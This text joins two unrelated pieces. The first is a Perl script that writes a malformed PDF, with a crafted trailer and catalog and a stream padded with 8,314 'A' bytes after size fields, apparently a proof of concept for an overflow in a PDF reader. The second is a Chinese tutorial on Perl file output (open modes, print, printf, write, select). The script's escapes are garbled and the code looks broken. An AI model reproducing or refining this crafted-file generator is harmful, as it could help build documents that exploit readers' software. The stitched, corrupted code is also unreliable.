1 : #!/usr/local/bin/perl
2 :
my $size = "/x40/x00";
my $factor = "ABCD";
my $data = "A" x 8314;
3 : open (STDOUT, ">file1") || die ("open STDOUT failed");
print pdf();
sub pdf()
{
"%/xec/xf5/xf2/xe1/xe4/xef/xe3/xf5/xed/xe5/xee/xf4/n" .
"3 0 /n" .
"xref/n" .
"3 16/n" .
"trailer/n" .
"<</Root 4 0 R/Info 2 0 R/ID[<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA> <AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>]/Size 19/Prev 10218>>/n" .
"startxref/n" .
"0/n" .
"%%EOF/n" .
" /n" .
"4 0 obj/n" .
"<</Type/Catalog/Pages 1 0 R/OCProperties<</OCGs[9 0 R 13 0 R]/D<</Order[9 0 R 13 0 R]/ON[9 0 R 13 0 R]/OFF[]>>>>>>/n" .
"endobj/n" .
" /n" .
"/x00/x00/x00/x01" . $size . $factor . "/x13" . $data . "endstream/n" .
}
10: close (STDOUT);
指定读写权限
打开一个既可读又可写的文件方法是在文件名前加上"+>",如下:
open (READWRITE, "+>file1");
此语句打开既可读又可写的文件file1,即可以重写其中的内容。文件读写操作最好与库函数seek和tell一起使用,这样可以跳到文件任何一点。
注:也可用前缀"+<"指定可读写权限。
print, printf和write函数
print是这三个函数中最简单的,它向指定的文件输出,如果未指定,则输出到当前缺省文件中,如:
print ("Hello, there!/n");
print OUTFILE ("Hello, there!/n");
第一句输出到当前缺省文件中,若未调用select,则为STDOUT。第二句输出到由文件变量OUTFILE指定的文件中。
printf函数先格式化字符串再输出到指定文件或当前缺省文件中,如:
printf OUTFILE (“You owe me %8.2f", $owing);
此语句取出变量$owing的值并替换掉串中的%8.2f,%8.2f是域格式的例子,把$owing的值看作浮点数。
write函数使用输出格式把信息输出到文件中,如:
select (OUTFILE);
$~ = "MYFORMAT";
write;
select函数
select函数将通过参数传递的文件变量指定为新的当前缺省文件,如:
select (MYFILE);
这样,MYFILE就成了当前缺省文件,当对print、write和printf的调用未指定文件时,就输出到MYFILE中。